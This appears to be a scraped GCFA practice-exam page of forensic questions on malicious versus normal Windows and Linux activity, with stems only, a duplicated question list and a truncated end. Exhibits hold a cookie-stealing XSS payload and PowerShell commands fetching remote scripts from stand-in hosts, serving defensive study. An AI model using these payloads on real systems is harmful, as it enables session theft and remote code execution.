GCFA Identification of Malicious and Normal Activity — All Questions With Answers

Question 1hardmulti select

Read the full Identification of Malicious and Normal Activity explanation →

Which TWO of the following indicators are highly suggestive of credential dumping activity in memory?

Question 2mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

Refer to the exhibit. What type of attack is demonstrated in this server response?

Exhibit

HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: session=a7b8c9d0e1f2g3h4i5j6
Content-Length: 450

<script>var x=new Image();x.src='http://attacker.com/collect?c='+document.cookie;</script>

Question 3mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

Which artifact is most useful for detecting unauthorized persistence via a Windows registry Run key?

Question 4mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

During a forensic analysis, you find a 'shimcache' (AppCompatCache) entry for an executable that no longer exists on the disk. What does this confirm?

Question 5mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

A security analyst observes a workstation periodically initiating outbound HTTPS connections to an external IP address at exactly 03:00 UTC. The forensic artifact shows the process associated with these connections is 'svchost.exe' with a PID that changes daily. Which indicator strongly suggests malicious activity rather than a standard scheduled task?

Question 6easymultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

An analyst discovers a suspicious file named 'svchost.exe' located in 'C:\Users\Public\'. Why is this highly suspicious from a forensic standpoint?

Question 7hardmulti select

Read the full Identification of Malicious and Normal Activity explanation →

Which THREE of the following artifacts provide the most reliable evidence when determining if a specific user account was used to execute a malicious script?

Question 8mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

An analyst finds an unusual entry in the Windows 'Run' registry key. What is the most effective next step to evaluate if this entry is malicious?

Question 9mediummulti select

Read the full Identification of Malicious and Normal Activity explanation →

Which TWO of the following logs should an investigator review to identify potential lateral movement across an enterprise network?

Question 10mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

During an investigation of a Windows 10 workstation, a forensic analyst runs a tool that parses the NTFS $MFT and observes a file record whose $STANDARD_INFORMATION timestamps are all earlier than the corresponding $FILE_NAME timestamps by roughly 45 minutes. The file resides in C:\Windows\System32 and is named 'lsass.exe'. What is the most accurate interpretation of this timestamp discrepancy?

Question 11hardmulti select

Read the full Identification of Malicious and Normal Activity explanation →

A forensic analyst is examining a Windows Server 2016 domain controller after reports of unauthorized access. The analyst has collected the Security.evtx log, the NTDS.dit file, and the SYSVOL folder. Which TWO artifacts would most directly provide evidence that a DCSync attack was performed? (Choose two.)

Question 12mediummulti select

Read the full Identification of Malicious and Normal Activity explanation →

A forensic analyst is investigating a suspected compromised Windows system. The analyst observes the following artifacts: (1) A scheduled task named 'Updater' that runs a PowerShell script from a remote URL every hour. (2) A registry key under HKCU\Software\Microsoft\Windows\CurrentVersion\Run containing an entry for 'C:\Users\Public\update.exe'. (3) A new local user account named 'Support' with administrative privileges. (4) A service named 'RemoteSvc' with a binary path pointing to 'C:\Windows\Temp\svc.exe'. Which TWO of these artifacts are most indicative of persistence mechanisms? (Choose two.)

Question 13hardmulti select

Read the full Identification of Malicious and Normal Activity explanation →

You are examining a Windows 10 endpoint suspected of hosting a persistence mechanism. You have collected the SYSTEM and SOFTWARE registry hives plus the user NTUSER.DAT. Which two registry locations should you inspect to identify auto-start entries that execute at user logon and do not require administrative privileges? (Choose two.)

Question 14mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

A forensic analyst is examining a memory dump from a Windows 10 system. The analyst uses Volatility and runs the 'netscan' plugin, which shows an established connection from PID 4321 (explorer.exe) to a remote IP address 203.0.113.5 on port 443. The analyst knows that explorer.exe is not typically associated with network connections. What is the most likely explanation for this finding?

Question 15mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

During an intrusion investigation on a Windows 10 workstation, you examine the USN Change Journal ($UsnJrnl:$J) and notice a cluster of DATA_OVERWRITE records for a file named 'invoice_2024.docx' in a user's Documents folder, followed immediately by a DATA_TRUNCATION record and then a series of DATA_EXTEND records with a filename that is no longer present on disk. Which activity does this sequence most likely represent?

Question 16mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

During a forensic investigation of a Windows 10 workstation, an analyst examines the $MFT and discovers that the file record for a suspicious executable shows a Standard Information Attribute (SIA) creation timestamp that is later than its Filename Attribute (FNA) creation timestamp. The executable resides in C:\Windows\Temp. Which of the following best explains this discrepancy and its forensic significance?

Question 17hardmultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

An analyst is examining a Windows Server 2016 domain controller and finds that the Security event log contains event ID 4624 with Logon Type 3 and an Account Name that matches a domain user. The analyst suspects this logon was the result of a Pass-the-Hash attack. Which additional artifact, when correlated with this event, would most strongly support that conclusion?

Question 18mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

An analyst is investigating a suspected data exfiltration incident on a Windows server. The analyst observes that a scheduled task named 'WindowsUpdateCheck' was created and configured to run a PowerShell script every hour. The script connects to an external IP address and uploads files from a sensitive directory. The analyst wants to determine when this scheduled task was created and what user account was used to create it. Which artifact should the analyst examine to find this information?

Question 19hardmulti select

Read the full Identification of Malicious and Normal Activity explanation →

A forensic analyst is investigating a compromised Windows 10 host and suspects the attacker used Windows Management Instrumentation (WMI) for persistence and lateral movement. Which TWO of the following artifacts should the analyst examine to identify WMI-based persistence and execution? (Choose two.)

Question 20mediummultiple choice

Review the full subnetting walkthrough →

An analyst reviewing Windows event logs on a compromised workstation discovers a sudden spike in Event ID 4624 with Logon Type 3, followed immediately by Event ID 4672. The source IP address belongs to a non-routable internal subnet. Which forensic interpretation best explains this activity?

Question 21mediummultiple choice

Read the full DNS explanation →

An analyst identifies a process performing unexpected DNS queries to a top-level domain ending in .xyz every 60 seconds. What is the most effective initial host-based action to confirm malicious beaconing?

Question 22hardmultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

Refer to the exhibit. An analyst observes this process execution on a domain controller. What indicator suggests this activity is likely malicious?

Exhibit

C:\Windows\System32\svchost.exe -k netsvcs -p
Parent: C:\Windows\System32\services.exe
User: NT AUTHORITY\SYSTEM
Network: 192.168.1.5:49152 -> 45.33.22.11:443
State: ESTABLISHED

Question 23mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

Which log artifact provides the most reliable evidence that a user account was used for an interactive remote login rather than a scheduled task?

Question 24mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

An analyst observes PowerShell usage with the encoded command flag '-e'. What is the standard forensic approach to de-obfuscate and analyze this activity?

Question 25hardmulti select

Read the full Identification of Malicious and Normal Activity explanation →

Which THREE of the following are considered 'living-off-the-land' (LotL) techniques used by attackers to avoid detection?

Question 26easymultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

When reviewing firewall logs, what activity should be flagged as an immediate indicator of a potential port scan?

Question 27hardmultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

Refer to the exhibit. What is the most critical security concern presented by the second command line?

Exhibit

C:\Windows\System32\cmd.exe /c echo 'test' > C:\Users\Public\test.txt
cmd.exe /c "powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString('http://bad.com/a.ps1')"

Question 28mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

Which log category should an analyst examine to identify a potential 'Pass-the-Hash' attack?

Question 29hardmultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

What is the primary forensic value of examining MFT (Master File Table) $Standard_Information vs $File_Name attributes?

Question 30mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

Which indicator is most effective for identifying a 'Golden Ticket' attack during Kerberos-based authentication?

Question 31mediummulti select

Read the full Identification of Malicious and Normal Activity explanation →

Which TWO of the following behaviors are common indicators of fileless malware execution that a forensic analyst should look for in memory artifacts?

Question 32mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

When reviewing Windows Event Logs, which event ID indicates that a user has successfully performed an interactive login, and why is this critical for identifying unauthorized lateral movement?

Question 33mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

Which forensic artifact is most useful for determining if a user has recently opened a specific suspicious file, even if that file has since been deleted?

Question 34hardmultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

You are analyzing a system and find evidence that a user has executed a PowerShell script that imports the 'Net.WebClient' class. What is the most likely purpose of this script?

Question 35easymultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

An analyst observes a high volume of '4625' events for a single user account. What does this indicate and what is the appropriate initial response?

Question 36mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

During an investigation of a compromised Windows 10 workstation, a forensic analyst reviews the NTFS $MFT and observes that the Standard Information Attribute (SIA) timestamps for a suspicious executable in C:\Windows\Temp are all identical, while the File Name Attribute (FNA) timestamps show a different, earlier date. The executable has no corresponding Prefetch file. Which conclusion is most strongly supported by these artifacts?

Question 37mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

During a live response on a Windows 10 workstation, you observe a process named 'lsass.exe' with PID 672. Its parent process is 'winlogon.exe' (PID 596), and its executable path is 'C:\Windows\System32\lsass.exe'. However, the process has an open handle to a suspicious named pipe '\\.\pipe\evil'. Based on this evidence, what is the most likely explanation?

Question 38easymultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

A forensic analyst is reviewing Windows Security event logs to identify potential malicious activity. The analyst notices a series of Event ID 4625 (An account failed to log on) followed by Event ID 4624 (An account was successfully logged on) for the same user account within a short period. What is the most likely explanation for this pattern?

Question 39hardmulti select

Read the full Identification of Malicious and Normal Activity explanation →

An analyst is investigating a suspected credential dumping incident on a Windows Server 2016 domain controller. The analyst has acquired a memory image and the Windows event logs. Which TWO of the following artifacts would provide the most direct evidence that LSASS memory was accessed for credential theft? (Choose two.)

Question 40easymultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

A forensic analyst is reviewing a Windows 10 system suspected of being infected with malware that maintains persistence. The analyst notices a new service named 'Windows Update Helper' with a binary path pointing to C:\Users\Public\updater.exe. The service is set to start automatically. Which artifact would best confirm that this service was created recently and is not a legitimate Windows service?

Question 41mediummultiple choice

Review the full subnetting walkthrough →

During an investigation of a Windows Server 2019 host, you review the Security event log and find Event ID 4624 entries with Logon Type 3 originating from a workstation subnet that should never authenticate to this server. The associated 4672 entry shows SeDebugPrivilege assigned to the resulting token. The account name is a normal helpdesk user. Which conclusion is most defensible from these artifacts alone?

Question 42easymultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

A forensic analyst is reviewing a Windows 10 system and finds that a scheduled task named 'Updater' was created to run a PowerShell script every hour. The task's action is powershell.exe -WindowStyle Hidden -EncodedCommand <base64>. The task was created by a user account that normally does not perform administrative tasks. Which of the following best describes the forensic significance of this finding?

Question 43mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

During a compromise assessment on a Windows 10 workstation, an analyst runs a volatile memory capture and inspects the process list in Volatility 3. The analyst observes a process named 'lsass.exe' with PID 872, whose parent process is 'winlogon.exe' with PID 640. The executable path recorded for lsass.exe is 'C:\Windows\System32\lsass.exe'. Which conclusion is BEST supported by these artifacts?

Question 44mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

An analyst is examining a Linux server that is suspected of being compromised. The analyst runs 'netstat -anp' and observes a process named 'kworker' with PID 1234 listening on TCP port 4444. The analyst knows that legitimate kworker processes are kernel threads and do not open network sockets. Which of the following conclusions is most appropriate?

Question 45mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

During an intrusion investigation on a Windows 10 workstation, an analyst observes that several user-mode processes have established TCP connections to 203.0.113.45:443. The analyst wants to determine which executable image on disk was responsible for the network activity and whether the process is still running. Which artifact provides the most direct evidence by mapping a live network connection to its owning process executable path?

Question 46hardmultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

An analyst is reviewing a Windows Server 2019 host and finds that a scheduled task named 'MicrosoftEdgeUpdateTaskMachineUA' exists under Task Scheduler Library\Microsoft\EdgeUpdate. The task's action launches 'C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe' with the argument '/ua', and the task's XML shows it was created by 'NT AUTHORITY\SYSTEM'. The XML file in C:\Windows\System32\Tasks was last modified three months ago, matching the install date of Edge. Which assessment is MOST accurate?

Question 47hardmultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

A forensic analyst is analyzing a Windows 10 memory image and finds a process named 'svchost.exe' with PID 4567. The process's parent is 'services.exe', but its executable path is C:\Users\Public\svchost.exe. The analyst also notices that the process has a network connection to an external IP on port 443. Which of the following is the most likely explanation for this finding?

Question 48mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

An analyst is examining a Linux server suspected of compromise. In /var/log/auth.log, they observe repeated entries of the form: 'sshd[1234]: Accepted publickey for deploy from 10.20.30.40 port 51515 ssh2: RSA SHA256:...' followed by 'sshd[1234]: pam_unix(sshd:session): session opened for user deploy'. No corresponding 'Failed password' entries appear for that source IP. Which interpretation is MOST accurate?

Question 49easymultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

An analyst is triaging a Linux server and finds a process whose /proc/<pid>/exe symlink points to /tmp/.kwork, and whose parent process is the legitimate cron daemon. The file is owned by root but has no package ownership record. Which interpretation is most appropriate?

Question 50mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

While reviewing a Windows host, you find a 4688 process creation event where the new process is C:\Windows\System32\svchost.exe but the parent process image is C:\Users\bob\AppData\Local\Temp\update.exe. The command line for svchost.exe contains -k netsvcs with no additional arguments. Which assessment is best supported?

Question 51hardmulti select

Read the full Identification of Malicious and Normal Activity explanation →

A forensic analyst is triaging a Windows 10 endpoint that is suspected of being part of a botnet. The analyst has collected the Security, System, and Application event logs, the Sysmon operational log, and a live memory image. Which TWO of the following artifacts would provide the most direct evidence of periodic command-and-control beaconing behavior? (Choose two.)

Question 52easymultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

An analyst reviewing a Windows workstation finds that the file C:\Windows\System32\drivers\etc\hosts has been modified and now contains several entries mapping well-known banking domains to 127.0.0.1. The file's LastWriteTime is two days ago, and no administrator has reported making the change. Which conclusion is MOST appropriate?

Question 53hardmultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

You are reviewing a Windows Server 2019 Security event log and find Event ID 4624 with Logon Type 3 and the 'NTLM' authentication package for a service account, occurring at 02:14 from a workstation that has no corresponding 4648 or 4672 events. Which interpretation is most forensically sound?

Question 54hardmultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

You are analyzing a Linux web server and find that /var/log/auth.log contains many 'Failed password' entries followed by a single 'Accepted password' for the account 'deploy' from the same source IP. Shortly after, you see a sudo command adding a new user named 'support' to the sudoers file. Which sequence best describes what occurred?

Question 55hardmultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

A forensic analyst is examining a Windows Server 2016 system that is suspected of being compromised. The analyst runs 'wevtutil qe Security /f:text /q:"*[System[(EventID=4688)]]"' and notices that many process creation events have the 'Subject Logon ID' field set to '0x3e7'. Which of the following best describes the significance of this finding?

Question 56easymultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

A forensic analyst is reviewing a compromised Windows 10 host and finds a file named 'lsass.exe' in the C:\Windows\Temp directory. The file has a creation timestamp that coincides with the suspected intrusion time. The analyst wants to determine if this file is a malicious copy of the legitimate Windows process. Which characteristic of the legitimate lsass.exe should the analyst verify first to confirm the file is suspicious?

Question 57easymultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

While triaging a Linux web server, you find that '/usr/bin/sshd' was executed but the running process's parent is 'bash' rather than the systemd service manager, and the process has no associated listening socket. Which conclusion is best supported?

Question 58mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

An analyst is reviewing a memory dump from a Windows 10 system using Volatility 3. The analyst runs 'vol.py -f memory.dmp windows.netscan' and observes a TCP connection with a state of 'ESTABLISHED' between the local IP 10.0.0.5:49152 and a remote IP 203.0.113.45:443. The process associated with this connection is 'chrome.exe' (PID 1234). Which of the following should the analyst do next to determine if this connection is malicious?

Question 59mediummulti select

Read the full Identification of Malicious and Normal Activity explanation →

An analyst is reconstructing a suspected credential-dumping incident on a Windows 10 host and has already imaged memory. Which TWO artifacts should the analyst examine to determine whether the LSASS process memory was accessed by an unauthorized tool? (Choose two.)

Question 60easymultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

A security analyst is examining a Windows 10 system and finds a scheduled task named 'Updater' that runs 'powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://malicious.site/payload.ps1')"' every hour. The task is configured to run under the SYSTEM account. Which of the following best describes the malicious technique being used?

Question 61hardmultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

You are examining a Windows 10 host and find a scheduled task whose XML action launches 'rundll32.exe' with the argument 'C:\ProgramData\Microsoft\Crypto\RSA\logon.dll,Register'. The task's author is a domain user who has never logged on to this machine, and the DLL has a creation timestamp matching the suspected intrusion window. Which assessment is best supported?

Question 62hardmulti select

Read the full Identification of Malicious and Normal Activity explanation →

A forensic analyst is investigating a Windows workstation that is suspected of being compromised by a fileless malware attack. The analyst has acquired a memory image and a disk image. Which TWO of the following artifacts, when analyzed together, would provide the strongest evidence that a fileless attack has occurred and is currently active? (Choose two.)

Question 1hardmulti select

Read the full Identification of Malicious and Normal Activity explanation →

Which TWO of the following indicators are highly suggestive of credential dumping activity in memory?

Question 2mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

Refer to the exhibit. What type of attack is demonstrated in this server response?

Exhibit

HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: session=a7b8c9d0e1f2g3h4i5j6
Content-Length: 450

<script>var x=new Image();x.src='http://attacker.com/collect?c='+document.cookie;</script>

Question 3mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

Which artifact is most useful for detecting unauthorized persistence via a Windows registry Run key?

Question 4mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

During a forensic analysis, you find a 'shimcache' (AppCompatCache) entry for an executable that no longer exists on the disk. What does this confirm?

Question 5mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

A security analyst observes a workstation periodically initiating outbound HTTPS connections to an external IP address at exactly 03:00 UTC. The forensic artifact shows the process associated with these connections is 'svchost.exe' with a PID that changes daily. Which indicator strongly suggests malicious activity rather than a standard scheduled task?

Question 6easymultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

An analyst discovers a suspicious file named 'svchost.exe' located in 'C:\Users\Public\'. Why is this highly suspicious from a forensic standpoint?

Question 7hardmulti select

Read the full Identification of Malicious and Normal Activity explanation →

Which THREE of the following artifacts provide the most reliable evidence when determining if a specific user account was used to execute a malicious script?

Question 8mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

An analyst finds an unusual entry in the Windows 'Run' registry key. What is the most effective next step to evaluate if this entry is malicious?

Question 9mediummulti select

Read the full Identification of Malicious and Normal Activity explanation →

Which TWO of the following logs should an investigator review to identify potential lateral movement across an enterprise network?

Question 10mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

During an investigation of a Windows 10 workstation, a forensic analyst runs a tool that parses the NTFS $MFT and observes a file record whose $STANDARD_INFORMATION timestamps are all earlier than the corresponding $FILE_NAME timestamps by roughly 45 minutes. The file resides in C:\Windows\System32 and is named 'lsass.exe'. What is the most accurate interpretation of this timestamp discrepancy?

Question 11hardmulti select

Read the full Identification of Malicious and Normal Activity explanation →

A forensic analyst is examining a Windows Server 2016 domain controller after reports of unauthorized access. The analyst has collected the Security.evtx log, the NTDS.dit file, and the SYSVOL folder. Which TWO artifacts would most directly provide evidence that a DCSync attack was performed? (Choose two.)

Question 12mediummulti select

Read the full Identification of Malicious and Normal Activity explanation →

A forensic analyst is investigating a suspected compromised Windows system. The analyst observes the following artifacts: (1) A scheduled task named 'Updater' that runs a PowerShell script from a remote URL every hour. (2) A registry key under HKCU\Software\Microsoft\Windows\CurrentVersion\Run containing an entry for 'C:\Users\Public\update.exe'. (3) A new local user account named 'Support' with administrative privileges. (4) A service named 'RemoteSvc' with a binary path pointing to 'C:\Windows\Temp\svc.exe'. Which TWO of these artifacts are most indicative of persistence mechanisms? (Choose two.)

Question 13hardmulti select

Read the full Identification of Malicious and Normal Activity explanation →

You are examining a Windows 10 endpoint suspected of hosting a persistence mechanism. You have collected the SYSTEM and SOFTWARE registry hives plus the user NTUSER.DAT. Which two registry locations should you inspect to identify auto-start entries that execute at user logon and do not require administrative privileges? (Choose two.)

Question 14mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

A forensic analyst is examining a memory dump from a Windows 10 system. The analyst uses Volatility and runs the 'netscan' plugin, which shows an established connection from PID 4321 (explorer.exe) to a remote IP address 203.0.113.5 on port 443. The analyst knows that explorer.exe is not typically associated with network connections. What is the most likely explanation for this finding?

Question 15mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

During an intrusion investigation on a Windows 10 workstation, you examine the USN Change Journal ($UsnJrnl:$J) and notice a cluster of DATA_OVERWRITE records for a file named 'invoice_2024.docx' in a user's Documents folder, followed immediately by a DATA_TRUNCATION record and then a series of DATA_EXTEND records with a filename that is no longer present on disk. Which activity does this sequence most likely represent?

Question 16mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

During a forensic investigation of a Windows 10 workstation, an analyst examines the $MFT and discovers that the file record for a suspicious executable shows a Standard Information Attribute (SIA) creation timestamp that is later than its Filename Attribute (FNA) creation timestamp. The executable resides in C:\Windows\Temp. Which of the following best explains this discrepancy and its forensic significance?

Question 17hardmultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

An analyst is examining a Windows Server 2016 domain controller and finds that the Security event log contains event ID 4624 with Logon Type 3 and an Account Name that matches a domain user. The analyst suspects this logon was the result of a Pass-the-Hash attack. Which additional artifact, when correlated with this event, would most strongly support that conclusion?

Question 18mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

An analyst is investigating a suspected data exfiltration incident on a Windows server. The analyst observes that a scheduled task named 'WindowsUpdateCheck' was created and configured to run a PowerShell script every hour. The script connects to an external IP address and uploads files from a sensitive directory. The analyst wants to determine when this scheduled task was created and what user account was used to create it. Which artifact should the analyst examine to find this information?

Question 19hardmulti select

Read the full Identification of Malicious and Normal Activity explanation →

A forensic analyst is investigating a compromised Windows 10 host and suspects the attacker used Windows Management Instrumentation (WMI) for persistence and lateral movement. Which TWO of the following artifacts should the analyst examine to identify WMI-based persistence and execution? (Choose two.)

Question 20mediummultiple choice

Review the full subnetting walkthrough →

An analyst reviewing Windows event logs on a compromised workstation discovers a sudden spike in Event ID 4624 with Logon Type 3, followed immediately by Event ID 4672. The source IP address belongs to a non-routable internal subnet. Which forensic interpretation best explains this activity?

Question 21mediummultiple choice

Read the full DNS explanation →

An analyst identifies a process performing unexpected DNS queries to a top-level domain ending in .xyz every 60 seconds. What is the most effective initial host-based action to confirm malicious beaconing?

Question 22hardmultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

Refer to the exhibit. An analyst observes this process execution on a domain controller. What indicator suggests this activity is likely malicious?

Exhibit

C:\Windows\System32\svchost.exe -k netsvcs -p
Parent: C:\Windows\System32\services.exe
User: NT AUTHORITY\SYSTEM
Network: 192.168.1.5:49152 -> 45.33.22.11:443
State: ESTABLISHED

Question 23mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

Which log artifact provides the most reliable evidence that a user account was used for an interactive remote login rather than a scheduled task?

Question 24mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

An analyst observes PowerShell usage with the encoded command flag '-e'. What is the standard forensic approach to de-obfuscate and analyze this activity?

Question 25hardmulti select

Read the full Identification of Malicious and Normal Activity explanation →

Which THREE of the following are considered 'living-off-the-land' (LotL) techniques used by attackers to avoid detection?

Question 26easymultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

When reviewing firewall logs, what activity should be flagged as an immediate indicator of a potential port scan?

Question 27hardmultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

Refer to the exhibit. What is the most critical security concern presented by the second command line?

Exhibit

C:\Windows\System32\cmd.exe /c echo 'test' > C:\Users\Public\test.txt
cmd.exe /c "powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString('http://bad.com/a.ps1')"

Question 28mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

Which log category should an analyst examine to identify a potential 'Pass-the-Hash' attack?

Question 29hardmultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

What is the primary forensic value of examining MFT (Master File Table) $Standard_Information vs $File_Name attributes?

Question 30mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

Which indicator is most effective for identifying a 'Golden Ticket' attack during Kerberos-based authentication?

Question 31mediummulti select

Read the full Identification of Malicious and Normal Activity explanation →

Which TWO of the following behaviors are common indicators of fileless malware execution that a forensic analyst should look for in memory artifacts?

Question 32mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

When reviewing Windows Event Logs, which event ID indicates that a user has successfully performed an interactive login, and why is this critical for identifying unauthorized lateral movement?

Question 33mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

Which forensic artifact is most useful for determining if a user has recently opened a specific suspicious file, even if that file has since been deleted?

Question 34hardmultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

You are analyzing a system and find evidence that a user has executed a PowerShell script that imports the 'Net.WebClient' class. What is the most likely purpose of this script?

Question 35easymultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

An analyst observes a high volume of '4625' events for a single user account. What does this indicate and what is the appropriate initial response?

Question 36mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

During an investigation of a compromised Windows 10 workstation, a forensic analyst reviews the NTFS $MFT and observes that the Standard Information Attribute (SIA) timestamps for a suspicious executable in C:\Windows\Temp are all identical, while the File Name Attribute (FNA) timestamps show a different, earlier date. The executable has no corresponding Prefetch file. Which conclusion is most strongly supported by these artifacts?

Question 37mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

During a live response on a Windows 10 workstation, you observe a process named 'lsass.exe' with PID 672. Its parent process is 'winlogon.exe' (PID 596), and its executable path is 'C:\Windows\System32\lsass.exe'. However, the process has an open handle to a suspicious named pipe '\\.\pipe\evil'. Based on this evidence, what is the most likely explanation?

Question 38easymultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

A forensic analyst is reviewing Windows Security event logs to identify potential malicious activity. The analyst notices a series of Event ID 4625 (An account failed to log on) followed by Event ID 4624 (An account was successfully logged on) for the same user account within a short period. What is the most likely explanation for this pattern?

Question 39hardmulti select

Read the full Identification of Malicious and Normal Activity explanation →

An analyst is investigating a suspected credential dumping incident on a Windows Server 2016 domain controller. The analyst has acquired a memory image and the Windows event logs. Which TWO of the following artifacts would provide the most direct evidence that LSASS memory was accessed for credential theft? (Choose two.)

Question 40easymultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

A forensic analyst is reviewing a Windows 10 system suspected of being infected with malware that maintains persistence. The analyst notices a new service named 'Windows Update Helper' with a binary path pointing to C:\Users\Public\updater.exe. The service is set to start automatically. Which artifact would best confirm that this service was created recently and is not a legitimate Windows service?

Question 41mediummultiple choice

Review the full subnetting walkthrough →

During an investigation of a Windows Server 2019 host, you review the Security event log and find Event ID 4624 entries with Logon Type 3 originating from a workstation subnet that should never authenticate to this server. The associated 4672 entry shows SeDebugPrivilege assigned to the resulting token. The account name is a normal helpdesk user. Which conclusion is most defensible from these artifacts alone?

Question 42easymultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

A forensic analyst is reviewing a Windows 10 system and finds that a scheduled task named 'Updater' was created to run a PowerShell script every hour. The task's action is powershell.exe -WindowStyle Hidden -EncodedCommand <base64>. The task was created by a user account that normally does not perform administrative tasks. Which of the following best describes the forensic significance of this finding?

Question 43mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

During a compromise assessment on a Windows 10 workstation, an analyst runs a volatile memory capture and inspects the process list in Volatility 3. The analyst observes a process named 'lsass.exe' with PID 872, whose parent process is 'winlogon.exe' with PID 640. The executable path recorded for lsass.exe is 'C:\Windows\System32\lsass.exe'. Which conclusion is BEST supported by these artifacts?

Question 44mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

An analyst is examining a Linux server that is suspected of being compromised. The analyst runs 'netstat -anp' and observes a process named 'kworker' with PID 1234 listening on TCP port 4444. The analyst knows that legitimate kworker processes are kernel threads and do not open network sockets. Which of the following conclusions is most appropriate?

Question 45mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

During an intrusion investigation on a Windows 10 workstation, an analyst observes that several user-mode processes have established TCP connections to 203.0.113.45:443. The analyst wants to determine which executable image on disk was responsible for the network activity and whether the process is still running. Which artifact provides the most direct evidence by mapping a live network connection to its owning process executable path?

Question 46hardmultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

An analyst is reviewing a Windows Server 2019 host and finds that a scheduled task named 'MicrosoftEdgeUpdateTaskMachineUA' exists under Task Scheduler Library\Microsoft\EdgeUpdate. The task's action launches 'C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe' with the argument '/ua', and the task's XML shows it was created by 'NT AUTHORITY\SYSTEM'. The XML file in C:\Windows\System32\Tasks was last modified three months ago, matching the install date of Edge. Which assessment is MOST accurate?

Question 47hardmultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

A forensic analyst is analyzing a Windows 10 memory image and finds a process named 'svchost.exe' with PID 4567. The process's parent is 'services.exe', but its executable path is C:\Users\Public\svchost.exe. The analyst also notices that the process has a network connection to an external IP on port 443. Which of the following is the most likely explanation for this finding?

Question 48mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

